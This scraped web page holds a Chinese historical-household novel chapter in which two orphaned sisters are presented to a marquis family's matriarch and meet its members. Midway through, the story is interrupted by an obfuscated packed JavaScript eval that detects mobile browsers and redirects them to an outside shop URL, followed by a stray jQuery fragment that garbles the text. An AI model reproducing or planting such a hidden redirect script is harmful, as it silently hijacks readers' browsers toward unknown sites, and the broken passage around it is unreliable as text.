澜之被江淳之从被窝里薅出来时,两眼还闭着,两条小胳膊软塌塌地挂在姐姐身上,含含糊糊地嘟囔道,“姐姐,往后咱们都要起得这样早么?”
江淳之掩口打了个呵欠,将她从身上扒下来,强按着坐定了,又在她脸上轻轻拍了一下,“侯府可不比在家里,每日卯时便要去老祖宗跟前晨昏定省,头一日就迟了,老祖宗可是要怪罪的。”
澜之拿指头揉着惺忪睡眼,问:“老祖宗很吓人么?”
江淳之拿起篦子,一边替她梳头,一边笑道:“老祖宗非但不吓人,见了你,只怕还要喜欢呢。你等会儿可要好好说话,教老祖宗多疼你几分才是。”
澜之睁开眼,歪着脑袋,“是吗?”
郑氏掌着阖府中馈,素日是栖梧居里起得最早的人,此时早已立在正房廊下,正低声嘱咐守心什么。见姐妹俩从西厢房出来,便停了话头,目光先往二人身上过了一遍。
江淳之今日穿了一身天水碧褙子,下系月白百迭裙,发间只插一支白玉兰花簪,耳上一对米粒大的银珠子,若有似无。薄施脂粉,眉只以青黛轻扫一笔,淡雅得几乎要融进晨雾里去。
澜之则是一件浅杏色小短襦,外罩月白半臂,下着同色百迭裙,正巧与江淳之那一身清冷错开,素净中自有一段孩童的娇软。
正瞧着,江淳之也朝她望来,问了声安。郑氏微微颔首,姨甥二人交换了一个心照不宣的眼神。
她二人此番进京的时机,委实算不得好。江淳之正值婚龄,又生就那样一副惹眼的模样,此时唯有藏锋守拙,方能少生是非。
澜之则不然,年方六岁,一个奶娃娃,讨得老祖宗欢心,在府里站稳了脚跟,于姐妹二人,百利而无一害。
这便是昨夜江淳之和姨母促膝长谈达成的一桩默契。
等崔朝云也打着呵欠从东厢房晃出来,江淳之便揣着满腹沉沉的心思,一行人相携往崇礼堂去了。
刚踏进院门,恰与大房一行撞了个正着,还有三房唯一未被牵连进那桩风波的崔易慎。
郑氏便热络地引荐道:“大嫂,各位哥儿姐儿,这是我娘家的外甥女。大的叫淳之,今年十八;小的叫澜之,今年六岁。”
她又特意看向陈氏,解释道:“赶巧就是昨夜,咱们在老祖宗跟前说话那会儿,她姐妹俩悄默声地到了。今儿一早,便带过来给老祖宗请安。”
“哦?那倒确是巧了。”陈氏依旧是那副万年不变的淡然神色。
郑氏见怪不怪,因这位长嫂素来冷淡,任谁的热脸贴上去,也只贴得到一面墙,不过,她也有个好处,就是不管闲事,从不主动帮衬,也绝不会使坏添乱。
像一杯白水,温吞透明,无益也无害。
郑氏只消给足长嫂颜面,旁的便不做他想。侧过身,对江淳之和澜之道,“这是侯夫人。”
“侯夫人安好。”姐妹俩齐声行礼,姿态规矩。
陈氏静静打量二人,无波无澜地点了点头,“好。”
江淳之心里微觉意外,这位侯夫人的性子,倒与她先前所想大相径庭。
若拿饮子做比,崔易简纵算不得一杯温茶,也该是一盏从深井里冰镇过、又搁在日头下略烤了烤的冷茶,触手到底有几分暖意。陈氏却像一座酥山,咬一口,满嘴冰碴子。
不过她身旁那个唤作崔易繁的小弟弟,倒是颇有其母之风,小小年纪,老成持重,自始至终板着一张小脸,连“表姐”“表妹”都叫得短促,仿佛多拖一个音节,旁人便要缠着他攀谈似的。
至于陈氏的侄女陈允凝,与三房的崔易慎,皆是秀气文静之人,尚未在江淳之心里留下什么特别的印象。
她觉得,自己给别人留下的短暂印象,应当也是这样的。
略略见过面,互通了姓名,一行人便往正房而去。江淳之不动声色地数了一遍人头,三房除崔易慎外,余人都告了假,倒也说得通,可不是还少了一人么。
她落在人群后头,忍不住回眸朝院门处一瞥。便在这一瞥之间,一抹月白身影自院门处飘然掠过,衣袂翻飞,如一片薄云被晨风推了进来。
江淳之立时转过头去,低眉走路。
那月白衣袍只在身侧晃了一晃,便无声汇入人群之中。
而后,前头传来陈氏的声音,语调不似方才平淡,反带着若有似无的戏谑:“向来没有比你时辰卡得更准的人。你该去司天监当值,替官家报时辰去,留在皇城司,倒糟蹋了。”
“可不是么。”崔易简的嗓音含着几分笑意,隔空送来。
一问一答间,众人已至正房门首。丫鬟挑起锦帘,余人鱼贯而入。江淳之和澜之依郑氏事前叮嘱,先于廊下暂候。
堂内,老祖宗已梳洗毕,端坐在上首。她今日着一件赭石色绣五福捧寿纹的褙子,额前勒一条玄色抹额,正中嵌一枚拇指大的祖母绿,衬得一头银发胜雪。
侄孙女唐疏桐站在她旁边,余人都按男女长幼,分左右站好了。
行礼完毕,老祖宗再逐人过问一两句,哥儿无非问差事可否顺心、学业是否有难处,姐儿便问问女红,媳妇么,便是问问家务。
侯府规矩,哥儿姐儿在前,媳妇们居后。哥儿们要上值的上值,要上学的上学,问完了便去用朝食,免得误了工夫。
崔易慎是个一门心思扑在功业上的人,人虽立在堂上,脑中已把四书翻来覆去默了半卷。
今日夫子抽考,他原想赶早用完朝食,再去学里临时抱一抱佛脚,偏生前头的二伯崔宗福与大哥崔易简,一个比一个稳。
崔宗福科场无缘,只荫了个校书郎的虚衔,有品无职,不过挂名,每日里最要紧的事,便是浇花逗鸟、吃茶听曲,半月才去衙门点一卯,自是不慌。
可大哥是怎么回事?
崔易简素来不喜这种晨昏定省的虚文。往常请过安,他总是头一个抬脚便走的人,府里谁不知道小侯爷事忙,连老祖宗都从不留他。
今日他却站得格外稳当。
崔易慎急得没法,只能从身后悄悄去扯崔易简的袖口。
崔易简微微偏过头来,目光并不落在他身上,只把右手背到身后,袍袖之间伸出修长食指,往东边那扇紫檀木屏风处一指。屏风后头,长案上早已布好了菜食。
什么意思?让他自己过去?那老祖宗还不得骂他没有长幼尊卑?
眼瞅着小娘子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861067|211997||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
们也一一问过了话,崔易慎愈发急躁,又去拽他的袖子,崔易简却如老僧入定,纹丝不动。
他自小习武,下盘稳如磐石,崔易慎一个手无缚鸡之力的书生,使尽了气力,也未能撼动分毫,渐渐便也懈了。
左右是走不脱了,索性匀出一只耳朵,去听老祖宗问话。正巧二伯母正说起新来的两位江家表姊妹,他便立直了身子,侧耳细听。
老祖宗有些意外:“昨晚来的?”
“可不是。”郑氏笑盈盈地应道,“我和宗福一回院,就瞧见姐俩了。”她略一顿,又补了一句,“说来,还多亏了老祖宗的恩典。”
老祖宗叹了口气:“也是两个可怜孩子。你姐姐没得早,如今父亲也没了。”沉默了须臾,才又开口,“既然人来了,就找时间带过来给我瞧瞧。”
郑氏就等着这句话呢,忙道,“就在外头候着呢。”
老祖宗朝身旁的瑞云点了点头,瑞云会意,步至门边,打起锦帘,请二人进来。
满室的目光,齐刷刷地聚了过去。
姐妹俩皆是肤白胜雪,岭南的炎风烈日,竟没在二人身上留下多少痕迹,两个玉人往堂中一站,满室都亮了几分。
大的那个,素到了极处,天水碧的褙子裹着一身清寒,任是满堂灯火煌煌,也不添半分暖意。
小的那个,却像秋日枝头刚熟透的一颗小杏,又是白嫩嫩的肌肤,粉嘟嘟的脸蛋,一双乌溜溜的大眼睛好奇地打量着满室的人,目光转到哪里,哪里的人就不自觉地冲她笑。
一冷一热对比之下,老祖宗目光先被小的勾了过去,连声音都不觉软了三分,“你叫什么名字呀?”
澜之端端正正福了一礼,声如珠玉落盘,“回老祖宗,我叫澜之,波澜不惊的澜,之乎者也的之。”
小小年纪,措辞却一板一眼,老祖宗不由笑了,偏过头,指着同龄的崔易繁打趣道,“瞧瞧人家的口条,你的学问只怕也要被比下去了。”
崔易繁飞快地瞟了那个“小杏子”一眼,旋即收回目光,依旧板着一张小脸。
老祖宗佯怒地白了他一眼,她打心眼里还是喜欢活泛生动的孩子,譬如简哥儿、朝云,如今又添了眼前这个小澜之,便朝她伸出手来。
澜之会意,乖乖将肉乎乎的小手递了上去。
老祖宗一把揽她入怀,嘘寒问暖,问一句,她答一句。声音软软糯糯,条理却极清爽,偶尔蹦出一两句俏皮话,逗得老祖宗合不拢嘴。
江淳之立在一旁,望着那一老一少亲亲热热的场面,非但没有半分遭了冷落的失落,反倒暗暗松了一口气。
她转身,正欲随女眷们往西次间去用膳,一抬眸,却与崔易简的目光撞了个正着。
他立在东次间那扇紫檀木屏风旁,似乎正要转身,两人目光一触,便已分开。
江淳之却莫名觉得后颈一凉,原本松快下来的心,忽然又提了起来。
她一时说不清是何滋味,就觉得他那双瞳仁深处像是藏着细小的毛刺,看不见,抓不住,却会让皮肤感到一阵若有若无的刺挠。
衣裳、皮肉、骨头,统统被那毛刺慢条斯理地剖开了,让她浑身不舒服。